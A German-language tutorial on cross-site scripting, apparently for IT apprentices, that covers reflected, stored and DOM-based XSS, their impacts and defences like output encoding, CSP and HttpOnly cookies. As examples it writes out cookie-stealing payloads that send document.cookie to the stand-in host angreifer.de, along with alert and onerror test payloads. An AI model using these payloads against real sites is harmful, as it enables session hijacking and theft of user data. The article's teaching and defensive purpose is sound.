XSS

XSS (Cross-Site Scripting) ist eine der häufigsten und gefährlichsten Sicherheitslücken in Webanwendungen. Bei diesem Angriff schleusen Angreifer schadhaften JavaScript-Code in Webseiten ein, der dann im Browser anderer Benutzer ausgeführt wird. Die OWASP (Open Web Application Security Project) listet XSS seit Jahren unter den kritischsten Sicherheitsrisiken für Webanwendungen.

Im Gegensatz zu SQL Injection, die das Backend einer Anwendung angreift, zielt XSS auf die Client-Seite ab. Der eingeschleuste Code wird im Browser des Opfers ausgeführt und hat dadurch Zugriff auf Cookies, Session-Tokens und andere sensible Daten. Das Gefährliche: Der Browser des Benutzers vertraut dem Code, weil er scheinbar von der legitimen Webseite stammt.

So funktioniert ein XSS-Angriff

XSS-Angriffe nutzen eine grundlegende Schwäche aus: Webanwendungen nehmen Benutzereingaben entgegen und geben diese ohne ausreichende Prüfung wieder aus. Stell dir ein Suchfeld vor, das den Suchbegriff auf der Ergebnisseite anzeigt: “Sie haben nach: [Suchbegriff] gesucht”. Wenn die Eingabe nicht bereinigt wird, kann ein Angreifer statt eines normalen Suchbegriffs JavaScript-Code eingeben.

Ein einfaches Beispiel: Ein Angreifer gibt als Suchbegriff folgenden Code ein:

<script>alert('XSS')</script>

Wenn die Webseite diesen Code ungefiltert in die HTML-Antwort einbettet, interpretiert der Browser das Script-Tag als legitimen JavaScript-Code und führt ihn aus. In diesem Fall erscheint nur ein harmloses Popup. In der Realität kann der Code jedoch Passwörter stehlen oder Konten übernehmen.

Die drei Haupttypen von XSS

Je nach Angriffsvektor unterscheidet man drei XSS-Typen. Das Verständnis dieser Varianten hilft dir, Sicherheitslücken besser zu erkennen und abzusichern.

Reflected XSS (nicht-persistent)

Bei Reflected XSS wird der schadhafte Code nicht gespeichert, sondern direkt in der HTTP-Antwort “zurückgeworfen”. Der Angreifer erstellt einen manipulierten Link mit eingebettetem JavaScript und verbreitet diesen per E-Mail oder Social Media. Klickt das Opfer auf den Link, wird der Code im Kontext der Zielseite ausgeführt.

Beispiel eines manipulierten Links:

https://example.com/search?q=<script>document.location='https://angreifer.de/steal?cookie='+document.cookie</script>

Reflected XSS ist die häufigste XSS-Variante, da sie einfach zu konstruieren ist. Allerdings muss der Angreifer jedes Opfer individuell mit dem manipulierten Link anlocken.

Stored XSS (persistent)

Stored XSS ist die gefährlichste Variante. Hier wird der schadhafte Code dauerhaft auf dem Server gespeichert, etwa in einem Kommentarfeld, Gästebuch oder Benutzerprofil. Jeder Benutzer, der die betroffene Seite aufruft, führt den Code automatisch aus, ohne auf einen speziellen Link klicken zu müssen.

Ein Angreifer könnte beispielsweise folgenden “Kommentar” in einem Blog hinterlassen:

Toller Artikel! <script>fetch('https://angreifer.de/log?cookie='+document.cookie)</script>

Jeder Besucher des Blogbeitrags sendet nun unwissentlich seine Cookies an den Angreifer. Bei viel besuchten Seiten kann ein einzelner Stored-XSS-Angriff Tausende Benutzer treffen.

DOM-based XSS

Bei DOM-based XSS findet die Manipulation ausschließlich im Browser statt. Der Server ist nicht direkt beteiligt. JavaScript-Code auf der Webseite liest Daten aus einer unsicheren Quelle (z.B. der URL) und schreibt diese ohne Prüfung ins DOM (Document Object Model).

Ein Beispiel: Eine Seite liest den URL-Hash und zeigt ihn an:

// Unsicherer Code
let hash = window.location.hash.substring(1);
document.getElementById('welcome').innerHTML = 'Willkommen, ' + hash;

Ruft jemand die Seite mit #<img src=x onerror="alert('XSS')"> auf, wird der Code ausgeführt. DOM-XSS ist schwerer zu erkennen, da der Server die Attacke nicht in seinen Logs sieht.

Auswirkungen von XSS-Angriffen

Die Auswirkungen eines erfolgreichen XSS-Angriffs können verheerend sein. Der Angreifer kann praktisch jede Aktion durchführen, zu der auch der legitime Benutzer berechtigt ist:

• Session-Hijacking: Stehlen von Session-Cookies, um Benutzerkonten zu übernehmen, ohne Passwort
• Phishing im Kontext: Einschleusen gefälschter Login-Formulare auf der echten Webseite
• Keylogging: Aufzeichnen aller Tastatureingaben (Passwörter, Kreditkartendaten)
• Malware-Verteilung: Umleitung auf schadhafte Webseiten oder Drive-by-Downloads
• Defacement: Verunstalten der Webseite, um den Ruf des Betreibers zu schädigen
• Wurm-Verbreitung: Automatisches Verteilen des Schadcodes an weitere Benutzer (z.B. durch automatisches Posten)

Ein prominentes Beispiel war der British Airways Hack 2018: Angreifer nutzten XSS, um 380.000 Kreditkartendaten zu stehlen. Die Fluggesellschaft erhielt eine Strafe von über 180 Millionen Pfund.

Schutzmaßnahmen gegen XSS

XSS lässt sich mit den richtigen Techniken zuverlässig verhindern. Die wichtigste Maßnahme ist Output-Encoding, ergänzt durch weitere Schutzmechanismen nach dem Defense-in-Depth-Prinzip.

Output-Encoding (Escaping)

Output-Encoding ist der wirksamste Schutz gegen XSS. Dabei werden Sonderzeichen so kodiert, dass der Browser sie als Text und nicht als Code interpretiert. Das Zeichen < wird beispielsweise zu <, sodass kein HTML-Tag entsteht.

Die Art der Kodierung hängt vom Kontext ab:

• HTML-Kontext: Zeichen wie <, >, &, ", ' in HTML-Entities umwandeln
• JavaScript-Kontext: Nicht-alphanumerische Zeichen als Unicode-Escapes (< statt <)
• URL-Kontext: URL-Encoding verwenden (%3C statt <)
• CSS-Kontext: CSS-Escaping anwenden

Hier ein Beispiel in PHP:

// UNSICHER - anfällig für XSS
echo "Willkommen, " . $_GET['name'];

// SICHER - mit HTML-Encoding
echo "Willkommen, " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');

Content Security Policy (CSP)

Content Security Policy ist ein HTTP-Header, der dem Browser mitteilt, welche Ressourcen er laden darf. Eine strenge CSP kann XSS-Angriffe erheblich erschweren, indem sie Inline-Scripts und externes JavaScript einschränkt.

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

Diese Policy erlaubt nur Scripts vom eigenen Server ('self') und blockiert Inline-Scripts sowie Object-Tags. Moderne CSP-Implementierungen nutzen Nonces (Zufallswerte), um legitime Inline-Scripts gezielt freizugeben.

HttpOnly-Cookies

Das HttpOnly-Flag verhindert, dass JavaScript auf Cookies zugreifen kann. Selbst bei erfolgreichem XSS kann der Angreifer die Session-Cookies nicht per document.cookie auslesen. In Kombination mit dem Secure-Flag (nur HTTPS) und SameSite bieten Cookies maximalen Schutz:

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

Eingabevalidierung

Prüfe Benutzereingaben auf erlaubte Zeichen und Formate. Nutze dabei Whitelist-Ansätze: Definiere, was erlaubt ist, statt zu versuchen, alles Gefährliche zu blockieren (Blacklist). Ein Postleitzahlenfeld sollte nur Ziffern akzeptieren, ein E-Mail-Feld nur gültige E-Mail-Adressen.

XSS erkennen und testen

Um Schwachstellen in deinen eigenen Anwendungen zu finden, gibt es verschiedene Tools und Methoden. Wichtig: Teste nur Systeme, für die du eine Berechtigung hast.

• OWASP ZAP: Kostenloses Open-Source-Tool mit automatisiertem Scanner und Proxy-Funktion
• Burp Suite: Professionelles Penetration-Testing-Framework (Community-Version kostenlos)
• Manuelle Tests: Gib in Eingabefelder Test-Payloads wie <script>alert(1)</script> oder "><img src=x onerror=alert(1)> ein
• Browser-Entwicklertools: Prüfe, ob Eingaben ungefiltert im HTML erscheinen
• Statische Code-Analyse: Tools wie SonarQube erkennen unsichere Output-Methoden

XSS in der Ausbildungspraxis

XSS ist ein zentrales Thema in der IT-Sicherheit und gehört zum Pflichtprogramm für jeden Entwickler. Als Fachinformatiker für Anwendungsentwicklung musst du sichere Webanwendungen entwickeln können. Output-Encoding sollte zur Standardpraxis gehören. Moderne Frameworks wie React, Angular oder Vue.js bieten bereits eingebauten XSS-Schutz.

Auch Fachinformatiker für Systemintegration benötigen XSS-Kenntnisse, um Web Application Firewalls zu konfigurieren und Sicherheitsaudits durchzuführen. In der IHK-Abschlussprüfung tauchen XSS und andere Injection-Angriffe regelmäßig als Prüfungsthemen auf.

Quellen und weiterführende Links

• OWASP XSS - Offizielle OWASP-Dokumentation zu Cross-Site Scripting
• OWASP XSS Prevention Cheat Sheet - Praktische Schutzmaßnahmen
• PortSwigger Web Security Academy: XSS - Interaktive Lernplattform mit Labs
• MDN Web Docs: XSS - Mozilla-Dokumentation
• Wikipedia: Cross-Site-Scripting - Allgemeine Einführung